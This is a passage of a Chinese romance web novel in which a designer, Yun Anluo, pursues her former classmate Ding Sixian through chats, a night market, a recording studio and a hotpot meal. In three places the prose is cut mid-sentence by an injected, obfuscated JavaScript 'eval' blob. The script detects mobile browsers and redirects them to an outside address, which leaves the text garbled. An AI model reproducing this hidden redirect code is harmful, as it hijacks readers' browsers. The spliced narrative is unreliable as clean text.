叶易走上前去,看着地面上的灰犹豫了一下,还是坐在了她身边。 云安洛低头拧着一个六面都画满了图案的七阶魔方。 “不是说看落日吗,怎么不抬头?”叶易眯眼看着那个红彤彤的太阳,虽然他不懂这有什么好看的。 “看多了眼睛疼。”她把魔方复原了,但也仅仅复原了颜色,上面的图案还是乱糟糟的。 “还是这个魔方看得更让人眼睛疼吧?”叶易拿过魔方看了看,这显然不是云安洛画的图案,哪怕这么凌乱也能看出来,不是云安洛的作画风格,“可从来没见过我们云大设计师这么别扭的样子,展开说说这个丁似霰有什么特别?” 太阳将落未落,月亮却已经露了出来,又一个昼夜要开始交替了。 云安洛叹了口气,抬头看了看天空,“他跟他画的这个魔方一样,烦人。 魔方我拼不好,也放不下。这些年来我一直在试,怎么能把每一面的图案都还原,但确实,我做不到。” “丁似霰也一样,你拿不起又放不下?” “我压根就没放下过,但确实不太清楚下一步该做些什么。 回忆太长,也太美好了,忘不掉也不舍得忘,”云安洛长叹一口气,面色纠结,回忆着往事:“高考之后我跟他表白被他拒了。” “他今天对你的态度,可不像是会拒绝你的样子。” “可能当初的时机不对,后来又发生了太多事。” 云安洛眯着眼,看向天空日月同辉的美景。她不是个多愁善感的人,却也很难不去想“如果”。 这世间有太多如果开头的句子,如果那些“如果”都能成真,大概就不会有遗憾和挣扎了。 可站在故事的结局回望,却发现明明一步未行错,但事事皆落寞。 63. 叮 云安洛又耐着性子开始企图排列这个魔方的中心块。 叶易坐在她身边,在等待她开口。 “他高中的时候是个挺乍眼的人,长得好,性格也不错,上课的时候戴着一副金丝眼镜倒也没有多少书生气,反而有那么一点点斯文败类的感觉,当然,眼镜是我挑的,这得多亏我眼光好,”云安洛飞快拧好了一面中心块,又开始尝试着拧侧面。 叶易倒是知道云安洛的少女时代有那么一个错过的人,但她从未说得如此详细过。 再加上今天见到了丁似霰,叶易不免发出了疑惑:“你不是说毕生追求一个贪财一个好色吗?这么诱人的帅哥你忍住了高中毕业之后就一点没有联系了?” 云安洛放下魔方,揉了揉有些酸疼的眼睛,仰头望着天:“帅哥自己腿没瘸,他要跑我还能把他拴上?” “也……不是不可以。” 云安洛警惕地扭头看了叶易一眼:“打住,我不想知道什么花活。” 叶易发出了爽朗的笑声:“那等你想知道了,我再给你科普。” “大可不必,”云安洛又拾起魔方,草率地拧了几下,然后……把可活动色块全部扣了下来当拼图。 “所以你们高中的时候是感情很好吗?” “好啊,成天混在一起调皮捣蛋,也就是多亏当初没有那么多监控,不然我旷的自习课不知道得被请多少次家长。最近这两年新材校庆我都不敢回去,我怕被王主任踹出来,”云安洛十分满意她的方法,这么拼下来,复原六面小小魔方不在话下,“而且我跟你说,当初是他勾搭我,他知道他自己长得不错,想方设法来我旁边晃悠,结果后来他家出事了他就开溜。” “哦~”叶易一副假装信以为然的样子。 云安洛专心致志拼着魔方,没有再说些什么。 天渐渐暗下去了,叶易打开了手电筒,在一旁照着亮。 “完工!”云安洛把拼凑好的魔方放在了手边;“别管方法,我拼上了就算我厉害。” “魔方拼上了,那人呢?”叶易问道。 云安洛愣住了,似是在思考叶易这句话。 “我们只是……只是各自在过好自己的日子,”云安洛上一秒还在捂着脸,略有些苦涩,突然抬起头,似是想到了什么开心的事,有些止不住的嘴角上扬:“但我还是感觉,我的日子里多一个他,会过得更好一些。” “硬赶鸭子上烤架?” “强扭熟瓜蘸炼乳也不错。” 当初年纪太小了,云安洛着实对那些情啊爱啊的事情没有太大理解,信了丁似霰的鬼话把他放走了,如今想来,说是追悔莫及也不为过。 但,这不是机会又来了吗! 云安洛打开微信,搜索丁似霰的号码。 好草率的昵称,竟然就一个叮字;头像也是最原始的灰边小人,更草率了。 那就,从加个微信开始吧? 这条好友申请,直到晚上九点多才通过。 云安洛翻了好久丁似霰的朋友圈,除了他的摄影作品以外,一无所有。 并且看得出来,自从大学毕业之后,照片拍得越来越少了。 怎么真长成个无聊的大人了? 云安洛见丁似霰发来了一个“嗨”的表情包,立刻回复道: ——你好,AAA摄影大王。 ——AAA? ——为了出现在列表最上面,或许五个尖更可靠一些。 云安洛看着对话框里的“对方正在输入……”闪烁不停,也不知道他到底想说些什么。 她原本就正在打游戏,自然也没多少时间停留在对话框里,飞快切了后台继续在峡谷遨游。 咬金大哥拿下四杀之后在自己家塔下被对面阿珂一刀封喉,云安洛气得把手机扔在了桌子上,大招就差不到一秒!!! 还没等到复活,AAAAA摄影叮的消息就弹了出来。 ——这样?你的列表里有很多吗? 哦,原来是去改名字了。 云安洛没有给他改备注,有些不知道该改成什么。她习惯性把联系人都直接写大名,括号里加上标签和用途,但很显然,丁似霰这个量级的不该是这个待遇,只不过云安洛也没有想好,该给他留个什么称呼。 如今他确实以“五个尖”位居云安洛联系人榜首。 她长摁住丁似霰的对话框,然后选择了“置顶该聊天”。 截图,发过去。 ——很多,但是目前聊天对话框里就只有一个。 发完消息,云安洛就迅速切回游戏界面,开启了水晶捍卫站,只留下了丁似霰自己对着截图胡思乱想。 云安洛的置顶只有三个。 可期陛下、花开富贵和AAAAA摄影叮。 花开富贵是云安洛自己,头像是一朵盛开的金莲,这搭配,真的很露骨。 所以,刚加上他的微信,就把他设成置顶,并且……特意发给他看? “有什么不行的吗?”云安洛十分自豪地在视频电话里和杨可期展示了她刚刚的功绩:“谁让他昨天跟了我一整天,我就要这么干,不就是拉扯吗,慢慢拉,我早晚把他拉成龙须糖。” 杨可期对于云安洛的行为非常认可:“拉!慢慢拉,给我实时转播,我爱看!” “我今天六点多给他发的申请,他九点半才通过,不行,我要去问问他怎么这么慢。” ——大摄影师平时加客人微信也延迟这么久吗?不怕客人跑掉了? “说不定人家有事呢?”杨可期说道。 云安洛快速地洗了一把脸,擦上水乳,然后随便扫了扫眉毛,点两下口红,就结束了这个草率的妆造,“不重要,他下午干啥我一点也不关心,我是想找个由头把他喊出来吃夜宵。” “……吃夜宵和加好友太慢,有什么关联?” “嘿嘿,我想有联系就有联系,”云安洛看着镜子里的自己很是满意,“这不是当年他的那套思维逻辑吗?” “行,你俩慢慢玩,”杨可期刚从实验室出来,回到出租屋里泡了一桶方便面,想到新柳的夜市再看看桌子上那桶香辣牛肉面,顿时感觉这泡面的味道不过如此:“祝福我吧,博士别再延毕了,毕业我就回去,能进奉州中医院就进,不行就去我家药铺子当神棍,到时候你晚上逛夜市找我还是找他?” 最后一句才是关键。 “咱俩去,让他自己哪凉快哪待着!” 这时丁似霰发来了消息。 ——下午修了一会照片睡着了,刚醒。 云安洛忙和杨可期说道,“但是现在,我先去勾搭他了哈!等过段时间我去南菀,到时候见!” “好好好,去见你的色吧。”杨可期挂断电话,泡面也差不多泡好了。 她嘬了一大口汤,还是香的。 白天和别人说少吃泡面,特别是少喝汤,晚上回家自己泡方便面,面汤一滴不剩,真棒。 云安洛刚刚挂断和杨可期的电话,就又拨通了丁似霰的,依旧是视频聊天。 丁似霰接得很快,但是镜头里只有漆黑一片。 “你晚上都不开灯吗?”云安洛在漆黑的环境里,企图分辨哪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16908955|192437||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个轮廓是丁似霰,但是失败了。 “这,这就去开。”他确实是刚睡醒的声音,有些懒散和沙哑。 屏幕亮起,是丁似霰那张发挥很稳定的脸,以及他的翘毛头发。 “兄弟,你长天线了,”云安洛捏起自己一小撮头发,模拟了他那撮翘毛。 “啊?”丁似霰忙对着镜头,伸手压了压头发,“有……什么事?” “没事啊,报复一下你昨儿白天的突袭,”云安洛把手机摆在茶几上,然后懒趴趴倒在一旁,“要不要去夜市逛一逛,在城西那边,可热闹了。” 丁似霰点了点头,“好。” “那我去接你!反正晚上也不好打车了,”云安洛没等丁似霰回话,留下了一句“一会见”,就挂断了电话。 她本想骑着摩托出去,走出单元门的一瞬间感觉有些凉,又跑回家换了轿车的钥匙。 云安洛坐在驾驶位上的时候,不禁感叹:“丁似霰你看我对你多好,怕冻到你我都不开摩托了。” 云安洛到达丁似霰家小区大门的时候,就看到他坐在门口的台阶上。 她降下车窗,对丁似霰喊道:“帅哥,要不要上车呀?” 那人听到了呼唤,有些吃惊地抬起头,寻找声音的来源。 “没听错,是在喊你,别愣着了快来!”云安洛对着他招招手。 小区旁有一个空地,那边有不少阿姨在跳广场舞,云安洛的嗓门竟然压过了音响。有几个阿姨向这边瞧着,不只是在瞧帅哥,还有呼喊帅哥的人。 丁似霰有些不好意思地捂着脸,边笑边跑向云安洛的小四腿驴。 新柳被纳入奉州后,许多建设都提上了日程,城西正是整个发展的趋向。 这里曾经除了那个石塔以外,就只有一家食品厂,一家制药厂以及一家造纸厂。如今新建了三个小区和一家综合性商场,并且除了食品厂以外,工厂都搬去了别处。 还单独批出了一块场地,早上的时候做早市,晚上的时候开夜市。 云安洛对这片很熟悉,带着丁似霰走街串巷。 “这个商场,看起来怎么样?”她突然问起了丁似霰。 丁似霰看着在夜幕下漆黑一片的大楼,“这……已经关门了,不知道啊……” 云安洛瞬间撅起嘴,有些幽怨,“我让你看外边这个壳子!” “好看,”丁似霰看着她的样子,忍不住笑了起来,“这么独特的商场,不会是我们云大设计师画的吧?” 四年前,我的世界联机大厅里出现了许多各种各样的商店,其中有一家只要一开服就人满为患。 商店的有两个主人,一个叫小L一个叫小d。 足有三层的大楼、丛林迷宫、池中凉亭如今在这皆变成了现实,只不过那自动烤肉机大概率还得等现代技术进步些才有可能实现。 “不完全是,”云安洛抬起左手,把被风吹起来的碎头发掖回耳后,露出了腕间那道极浅的疤痕和手链,“还有一个网友,当初是我们俩在游戏里一起做的那个地图,但是他说愿意送我青史留名,蛮夸张的,一个小区县的开发区就青史留名了。” 丁似霰听到这里略有些不自然,“那这人还,还……挺有意思的。” “哦对,这个也是他送的,”云安洛晃了晃手腕,“你之前给我那个镯子不小心被我弄碎了。” “啊……碎了,挡灾,”丁似霰似乎很想尽快结束这个话题,“去夜市逛逛吧,你不是想吃夜宵吗?” 云安洛看着他,有些诡计得逞的愉悦感。 装,看你能装多久。 64. 撩拨 “走吧,有家锡纸粉丝做得可好吃了,看看出没出摊。” 夏日里的天气阴晴不定,丁似霰的手里刚刚提了四袋“战利品”,就下起了小雨。 云安洛背着一个很小的双肩包,看起来装不了多少东西的那种,结果她从里面迅速掏出了一把折叠伞。 “快走快走,一会雨下大咱俩就从溜达鸡变成落汤鸡了。” 云安洛刚把车停到丁似霰家楼下,雨就突然间下得更大了。 雨点砸在车窗玻璃上,每一滴都足有云安洛三分之一个手掌那么大,又大又密。 “这个时候你是不是应该邀请我上去坐坐,等雨小一点再走?”云安洛把车熄了火,又摘下安全带,扭过头看着丁似霰。 丁似霰多少带了些迟疑,“那,那……现在上去?” “好嘞!” 最近老旧小区改造正好轮到了丁似霰家这里,所以他家整个楼体看起来都很新,楼道里新挂的白墙还没被贴上太多小广告。 云安洛看到他家门框上已经有些褪色了的对联时,还是有些震惊的。 将近十年了,竟然还是当初她写的那副。 丁似霰注意到她的神情,解释道:“当时想着留副对联或许还能沾点人气,后来也没回来。” “过年再给你写一副吧?正好画只胖乎乎的猪头当福字也挺可爱的。” 猪头,又到了说猪年大吉的时候了吗?丁似霰微微楞了一下,耳边仿佛又响起了洛洛的话:嗯?猪年怎么了,有这么难以启齿吗?猪肉多香。 秉承着快速进门严防蚊子的原则,两个人飞快闪进屋,然后关上了门。 丁似霰似乎还在反应云安洛这句话。今年春节的时候,估计这个项目已经结束了。 也就是说,项目结束后,她还想和他有交集。 “好啊。”他淡淡笑着,点了点头。 丁似霰递给云安洛一双女士拖鞋,全新的,但和丁似霰那双并不是同款。 云安洛也没问什么,倒是他略有些心虚地解释道:“买一送一。” 丁似霰也不清楚当时去买拖鞋的时候,为什么买了两双。 可能是因为这双拖鞋和当年那双小兔子,很像。 “哦?这么好的吗。”买一送一,还正好是她的鞋码。云安洛换上拖鞋,把包挂在挂钩上,指了指客厅的茶几,“去那边?” “好。”虽然不理解云安洛为什么总喜欢坐在地下,但他也都会乖乖坐在一旁,有的时候还会拿上垫子。 当然是两个坐垫。 老房子里只有一台电风扇,虽然陈旧,但倒是很干净。丁似霰打开电源,把它扭到可以让云安洛凉快些的角度:“抱歉,家里没安空调,只能将就一下了。” “还好,今天下雨没那么热,”云安洛依旧不喜欢汗淋淋的感觉,但确实,在回家吹空调和与丁似霰多待一会这两件事之间,她选了后者。 失策了,刚才就应该一脚油门把车开回她家。 她手上还在拆锡纸粉丝的包装,“但有件事情我得和先你说一下。” “嗯?”丁似霰在抠香汤豆腐的死结,老板打结打得是真严实。 “我去竞这个标,主要是因为建材是祁利负责的。” “嗯,我也是。”他终于扯开了一袋包装,把它递到云安洛身前,“我总感觉超速超载的另有其人,那辆祁利的大货,如果是正常行驶,不会翻进河里。” 云安洛知道,丁似霰父母当年那场车祸,也和祁利有关联,毕竟孟杰礼查了这么多年,那些陈年旧事就算没有进展,她也烂熟于心。 她夹出一些粉丝,又舀了些汤,美美喝上一口,才说道:“监控这东西真的是只有需要的时候才会坏掉。” 丁似霰问道:“所以你……有什么计划?” “没有。我当初回新柳就是感觉谭棠让我恶心,并且我也清楚我做不了什么,要真一直蠢蠢欲动的还容易被注意到。而且这个项目给得是真的多。” 当然也有,想去南菀见你。 可云安洛没有说出口,慢慢来吧,攻略得太急,万一把小光吓跑了怎么办? “丁似霰,我现在唯一能告诉你的是,祁利不是我们这种街井小市民能查得下去的人,我们很有可能到头来一场空。”云安洛想了想,还是和丁似霰说了实话,“他们到底在做什么目前我并不清楚,但可以肯定的是我妈当年那个学生的失踪和这件事情也有关。” “可你也是街井小市民,还是要继续查,对吗?” “如果真的有机会,我付得起任何代价。” “我也是。”丁似霰的语气很坚定,是非黑白,他也一直想要一个结果。 “都是犟驴啊!但总不能每天只想着那些事情,活一天就得乐呵一天,”云安洛感叹过一句后,就把注意力转移回了夜宵上。她又夹了一块豆腐,千页豆腐两面都煎出焦皮,然后泡在特制的汤汁里……啊,好香。 “你尝尝豆腐,我一直没弄明白这汤是怎么调的,特别好吃。”云安洛对丁似霰发出了吃豆腐的盛情邀请。 丁似霰夹了一块豆腐,又尝了口汤,连连点头,“确实好吃,感觉我可以试一试。” “去夜市跟摊主抢饭吃?”云安洛有一个坏主意跑上心头,“还是做给我尝尝?” “呃……有机会的话,给你吃。” “哦~只给我?” 丁似霰想了一会才说道:“李开颜闻到味道的话会来抢食。” 好可怜的小颜,就这么被丁似霰拉出来挡枪。 “你哪天走?” “后天早上八点多的机票。” “我真搞不懂你们这些早起的人,这里去奉州机场将近两个小时,那你们岂不是三四点就要走了?” “嗯,三点半走。” 三点半,那个时间如果云安洛是醒着的话估计就是还没睡。 “那就南菀见咯,我明天有个游戏宣传片要录,估计是没什么时间,”云安洛道,“等你下次再回来,带你去我火锅店里吃饭,我要压榨你给我做点新品。” 云安洛的火锅店开得很不错,店里那几道经常被点的菜品也多出自小d之手,再加上杨可期调的养生汤底也比较受欢迎……总得来讲,云老板出钱,其他人出技术,蛮合适的。 “好,”丁似霰点点头,“有分红吗?” “看我心情。” …… 直到回到家,开启空调洗完澡钻进被窝里,云安洛还在回味刚才的事情。 然后因为过于开心,确认杨可期也没有睡,就又打通了她的语音电话。 “丁似霰咋还是这么好玩呢?”云安洛抱着被子,侧躺在床上傻笑,“真的,随便逗他两句,他那个耳朵尖立刻就红了。” 杨可期听着云安洛这个形容,也瞬间来了兴致,“你对他做什么了?” “我就是问他怎么不提要再跟我去看看我们录音棚长什么样了……然后说这话的时候,离他近了点。” “多近?” “还行吧,我就是往前面凑了点,还没到蹬鼻子上脸的地步。” “那他怎么回答的?” “他愣在那里了呀, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16908956|192437||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 然后眨巴两下眼睛,问我‘可以吗’。我天,我肉眼可见,他那个耳朵一下就红了,就好像昨天要跟我去福利院的人不是他一样。” “好好好,所以你们俩明天的行程就是你去录东西,他在外边等着?” “目前在他看来,是这样。” “那得多无聊,你要录很久吧?” “我跟他说了,会很无聊。他说没事,他在外面玩手机,”云安洛其实已经带了些困意,完全是因为突然涌上心头的分享欲,才和杨可期聊了起来。 她把手机开了外放,放在枕边,又慢悠悠说道,“不过本来我也没多少活,就是个游戏的配音,然后还有个之前答应好的200万粉丝福利录一下,也不会太久。那个配音我就先把和咔咖一起的那部分录完,剩下的后天再说。 主要我想去以权谋私。” 这么多年都是劳模,以权谋私一次,不过分。 当初云安洛想给自己找些可能有公众影响力的活,就联系姜亦瑶寻求了帮助。在她介绍下认识了这个为爱发电的“小团伙”,加上云安洛一共就六个人。 那五个人的艺名都是叠词,但是同音不同字。云安洛说,她这个名字或许不少人读了也算符合队形。 她叫浓珑。 还真是一个对分不清前后鼻音的人极其不友好的ID。 六个人起初纯纯为爱发电,然后有一次浓珑一时兴起配了个小说的小片段,被金主姐姐看中,联系她入伙试一试动漫配音,就此有了热度。 或许也不算金主,那姐姐想做女频动漫,但几乎算是白手起家,所以一切从简,配音什么的也就只能找得起当初库库炫工作室那种便宜好用的。 这大概可以算一场豪赌。 后来聊天的时候云安洛才知道,她才不是什么运气极佳紫薇星,是有个不愿意透露姓名的建筑工程师牵线搭桥,和导演推荐了浓珑。 库库炫工作室直接承包了所有音频工作,主要是这六个人打包起来都是便宜好用类型的。 后来动漫大火,库库炫配音工作室便有了名气。只不过确实浓珑和咔咖粉丝量更多一些,还有不少拉郎配的,哪怕浓珑还没有露过面——云安洛说,她留着这个神秘的身份另有用处。 咔咖有一米九多,云安洛总说他在旁边一站跟堵墙一样。而且这人也长得不错,第一次公开出席活动后粉丝量直接暴涨,一度盖过了浓珑的热度。 云安洛当时还在感叹,雄性地球猿真的很多时候活得容易很多。 一次出席活动,云安洛带着头套和咔咖一起登台,cp粉们说咔咖和浓珑不仅声音好配,站在一起看起来也很搭,而且咔咖这么帅,浓珑也一定很漂亮的时候,云安洛还特地截图发给小d看了。 ——哇,我也是又变成帅哥的绯闻对象了。 消息当时是晚上近七点发的,小d凌晨两点多才回。 ——为什么是又? ——高中的时候也有过。 小d又隔了许久,才发来下一条消息。 ——哪个更帅点? 云安洛直接秒回。 ——高中那个。话说你长什么样我还不知道呢? ——我……不好看。 ——没事,我也不好看。 你怎么这个时候才回消息? 不对,是怎么这个时候还不睡觉,在看手机? ——刚应酬回来。 ——又喝酒了? ——嗯。 ——你悠着点,别咱俩网友第一次奔现是我去你的葬礼。 ——尽量。 65. 我想 杨可期听到云安洛的描述,不禁发出疑问:“洛洛,所以你是想和丁似霰……死灰复燃?” “没想过,不清楚,反正就感觉逗他很好玩,”云安洛说到这里又睁开了眼睛,望着天花板沉默了几秒,“我是想的,但我不懂他怎么想,而且……走一步算一步吧,及时行乐也没啥不好的。” 同样都是在南菀,但杨可期也没见过丁似霰几次,那少有的几次见面里,还基本都是医学生和患者家属的见面。 余美兰住的疗养院和南菀中医药大学的附医一直有合作,杨可期曾去过几次,也拜托导师找学校里最好的老教授去尝试过针灸,但都没有什么效果。 杨可期曾问过丁似霰,和洛洛还有没有可能。只是因为答案并不理想,杨可期未和云安洛提起过。 丁似霰说不知道,但至少目前看来,洛洛不和他在一起会过得更好点。 所以杨可期对于前两天丁似霰的主动,很是震惊,大概人真的很难对抗自己内心的情感。 “反正吧,我感觉他可能前两天找你的时候,跟自己斗争了挺久的。” “没事,那他就别斗争了,以后我找他,”云安洛在床上翻了一圈,“我先睡了,明天带丁似霰去尝尝小d的菜谱。” “我宣布,你俩比电视剧好看。” 云安洛确实睡得很香,但丁似霰在床上躺了许久,还是很难入眠。他甚至吃了两片褪黑素,也没什么用。 于是,丁似霰索性打开电脑,继续把剩下的那组精修照片修出来。 他习惯性把Q/Q调到了和小L的聊天界面。之前修照片时间太长忘记回消息,云安洛倒是向来不会说什么,只是丁似霰正好错过了她的空闲时间,等到小L再回话,已经过去很久了。 不过现在这个时间点,很显然云安洛不会给他发些什么。 但他已经形成了习惯,把页面调到这里,似乎做什么都会更安心一点。 凌晨两点刚过,丁似霰修完了所有照片,终于合上电脑。 他整理充电线的时候扯到了桌子上的矿泉水瓶,水瓶倒下又把手机一起撞到了地下。 丁似霰捡起手机时,便看到了一串意外发出去的表情包,连忙挨个撤回。 还未等他撤回全部的表情包,小L就发来了一个问号。 丁似霰忙停下撤回的操作,回了一句:“手机掉地下,点错了。” ——我是问你怎么这个点还是醒的。不是说要早睡早起身体好吗? ——你不是也没睡吗? ——我不是小病秧子,用不着养身体。 小L又发过来一条。 ——我尿急,已经睡一觉了。 丁似霰正愁找不到理由,紧跟着发了一条。 ——我也是。 小L也就此作罢,结束了对话。 ——晚安,玛卡巴卡。 ——晚安,小点点。 录音棚在东滨区的最边缘,开车去要近一个小时的时间。云安洛依旧不愿意早起,把录制时间定在了十点半。 九点十分,云安洛心满意足坐在了副驾驶,调好导航,系上安全带,睡觉! 丁师傅开车很稳,马上到达目的地的时候云安洛才醒过来。 她眯着眼,迎着阳光看向窗外,“五星好评啊丁师傅。” “我的荣幸。” 录音棚在一栋商业写字楼里,云安洛刷了卡,带着丁似霰来到电梯间。 她摁下了一个熟悉的数字:19B。 丁似霰有些疑惑,“……嗯?” “怎么都是19B是吧?”电梯里挤进来很多人,云安洛和丁似霰连连后退,被挤在了角落里。 不过云安洛不太挤,毕竟有一道人墙在前面挺着。 录音棚在19B这个事情,云安洛没有和小d说过。 “因为便宜,这个工作室最开始是我出钱租的,我没做亏心事又不怕下地狱,十八层能怎么的。” 丁似霰听罢,点点头,“合理。” 看得出来,这个工作室作为原始基地的存在确实很低调,甚至连门牌都只是1808,并没有任何其余的点缀。 云安洛这时又突然迷信了,她说08或许有助于发财,反正贵的不多,当时钱也够,就买这个了。 “你知不知道咔咖?就那个广播剧男神,一会介绍你认识一下。”云安洛又在逗丁似霰。 “……不知道。” 云安洛也没有拆穿他,只是继续问道:“那你知道浓珑吗?” “我,我不听广播剧。”丁似霰看起来有些尴尬。 “哦~这样啊,”云安洛打开库库炫工作室的大门,对丁似霰做出了一个请进的手势,然后发出了服务员的标志声音,“欢迎光~临!” “洛姐快进!”门口坐着的年轻小伙子见此连忙跑过来撑着门,“这位是?” “早上好呀霏啡,”云安洛推着丁似霰进门,“我同学,过来看看热闹。” 工作室并不大,只有三间录音棚和一个大客厅一个厨房。 云安洛把丁似霰领到客厅,对着沙发上坐着的人说道,“介绍一下,咔咖,我们工作室大哥,数他岁数和个头都最大。 这个是我,高中同学,丁似霰,我带过来参观参观。” “你好你好!”咔咖站起身,和丁似霰握手,然后小声问云安洛,“就是你说比我帅的那个?” “对啊,见到人了你是不是心服口服?”云安洛的音量并不小,但也确实,丁似霰只听到了她这句。 “服什么?”他问到。 “夸你帅呢,我们男神认可了,”云安洛随意从零食架子上抽了袋巧克力味奥利奥塞在丁似霰手里,“走,带你到处看看。” 这个工作室更像个零食铺子,满墙摆的都是各种零嘴和照片,竟然一个代表作品都没有。 “后来也算火了点,就租了新的场地,然后也招了几个新人,这个地方就是我们六个的。 霏啡多数是唱歌,他词曲都会做,唱得也不错,可厉害了。咔咖就是跟我一样,靠一张嘴白话嘛,然后一会派π会过来,她主管录制和修音。 还有俩,是吨墩和瓜鸹,但他俩今天不来,有别的事。吨墩是那种少年音,瓜鸹是小正太,那小姑娘看着就贼可爱。” 聊天的字里行间,丁似霰能听出来,云安洛在这间屋子里度过的时光都是自在又开心的。 而且,这个工作室,都知道丁似霰的存在——云安洛有一个会摄影的高中同学,很帅很优秀。 叶易似乎也知道有他这么一号人的存在。 他竟然,在洛洛的世界里从未缺席。 合配片段录完,云安洛就要带着丁似霰跑路,“霏啡,来,别看热闹了,陪我去旁边那屋录个小福利。” “啥福利?情人节不都过去了吗?上周让你录你死活不录。”霏啡一头雾水。 云安洛脱口而出:“中元节送个礼。” 当然,不会是这么接地府的理由。 是浓珑答应好的,粉丝过200w,她发一首歌。不过云安洛向来没有编曲的天赋,她只是自己填个词,曲子霏啡已经写好了。 是之前配过的那个广播剧的同人曲。 清梦和楚望舒两辈子情缘都苦得很,好在最后是个he,不然配完剧云安洛真感觉想去给作者寄刀片了。 云安洛把丁似霰一起抓进了录音棚。 “我,我不会唱歌……”丁似霰站在话筒前罚站,十分拘谨。 云安洛把稿子放在他面前,“不用你唱,说话会吧,间奏和曲子最后你念个白。” “别了,你粉丝福利曲我跟着凑什么热闹。” 丁似霰刚想抬腿走出录音棚,就被云安洛拽了回来。 “我想让你参与。” “啊?” “嗯,我想。” 丁似霰晕头晕脑的就被云安洛留下参与了福利曲的录制。 从录音棚里出来,霏啡还在问丁似霰要不要入伙,这兄弟有潜质。 丁似霰只是摇了摇头,还未等他回绝,云安洛说道:“他现在不在奉州工 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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两个人回到车里,云安洛又坐回副驾驶,“来都来了,去我火锅店里吃一口饭?” 丁似霰看看时间,晚上五点,“这个时间再开车过去,店里应该人很满吧?” “我可是老板,留个包间又不是什么难事。” “你留好了?” 云安洛点点头。 “那就去嘛。”丁似霰轻笑,他才意识到,洛洛这一大天所有的事情,都是有所预谋。 火锅店里人真的很多,单看还在排队的,就有七桌。丁似霰走进包间才发现这是个六人桌。 “云老板太奢侈了。” “您是贵客,”云安洛拿来菜单,递给丁似霰:“贵客看看想吃啥,锅底尝尝那个养生锅,杨可期调的,味道很好。放心,这个不是苦的,我还想好好做生意,不想黄铺子。” 杨可期高中的时候就研究过把中药汤子做成饮料,但很遗憾,一败涂地。 当初还忽悠丁似霰喝过,这傻家伙看洛洛期待的眼神,还以为是她做的,一口闷了半瓶——然后实在憋不住了,抱着垃圾桶吐了个干净。 丁似霰看着菜单,第一栏是锅底选择,第二栏就是“小d特调”。 “特调拼盘,试试?”云安洛问道。 “你……你们厨师叫小d?” 云安洛点点头,“算吧,赛博厨师。” 好一个赛博厨师,他成天在网上给云安洛报菜谱,教她怎么腌肉,那不是赛博厨师是什么? 也不知道丁似霰的小d马甲什么时候掉下来。 “你想吃什么锅底?”丁似霰问道。 “都行,除了红油,明天我要是一边录一边清嗓子,今天那三位会想杀了我的。” 这场火锅局,以养生锅拼番茄锅开始,以云老板亲手下厨做的玫瑰荔枝冰粉结束。 回到新柳,两个人又在城西公园逛了两圈,当做饭后散步。 四天时间,云安洛带着丁似霰在奉州几乎走遍了她这些年来的每一个角落。 剩下的事情,留给南菀吧。 介于丁似霰明天凌晨就要走,晚上九点多云安洛就把他送回了家。 准确的说,是在丁似霰家小区楼下,云安洛才回到驾驶位。 “那就,南菀见?”丁似霰在车窗外,对着云安洛摆摆手。 “嗯,南菀见。” 66. 讨厌鬼 云安洛是在十月五日中午十点十五,飞去的南菀。 这项目的东家或许是有良心,又或许是不差钱……当然也可能,是怕高温施工有工人出问题的话更加麻烦,总之,把施工时间定在了十月八日。 并且似乎找了个大仙算算,十月八日适合开工。 国庆两端的机票太贵了,云安洛本想拖一拖再过去,毕竟六号才真正降温,奈何直逼三千的机票价格实在让人望而却步。 叶易在一旁劝云安洛七号再去的时候,云安洛白了他一眼,说道:“我是有点小钱,不是冤大头。” 出于某些奇怪的心理,云安洛早早就起床,画了个淡妆。 如今新柳和南菀的温差足有近二十度,她还是老老实实穿着衬衫和外套以及略厚的牛仔裤,准备下了飞机再换上薄衣服。 丁似霰主动请缨要去机场接云安洛,她自然不会拒绝。 所以直到飞机在谭棠机场的地面滑行之前,云安洛还是满心期待地等着和这位短期合作的同事见面。 南方如今很多地方都开始下雨降温,不少趟航班因天气原因延误堆积在机场,迟迟无法起飞。 云安洛本还在庆幸,飞往谭棠这趟,只是晚了二十几分钟,还好没等到下雨再走。 没想到,谭棠的这场大雨,来得早了一些。 下午一点刚过,谭棠突然下起大雨。当然,在广播说由于谭棠机场附近天气恶劣,飞机需要在空中盘旋,无法降落的时候,云安洛才知道这个噩耗。 真该死啊,怎么感觉只要来这个鬼地方,总没好事。 将近两个小时后,飞机终于开始下降。 飞行模式解开后,云安洛手机里挤进的第一条消息,是丁似霰的。 ——洛洛对不起,我有点急事,李开颜在机场等你。 哦,不来就不来呗。云安洛没有回消息,只是退出对话框,继续去“批阅奏折”。 李开颜说他在八号口,杨可期让云安洛实时播报丁先生接机详情,叶易告诉她刚才发现她新买的那团段染股线落在了设计所,咔咖说新接的广播剧里面清冷大师姐只有两页台词让她考虑要不要录一下。 平时一下午都不会有什么新消息,这飞行模式开了五个点,消息一条一条往外蹦。 还有小d的消息。 ——落地了吗? 云安洛忽然就又来了兴致,准备在小d这里聊几句。 ——地面滑行ing,刚在空中盘旋了俩点,快吐了。 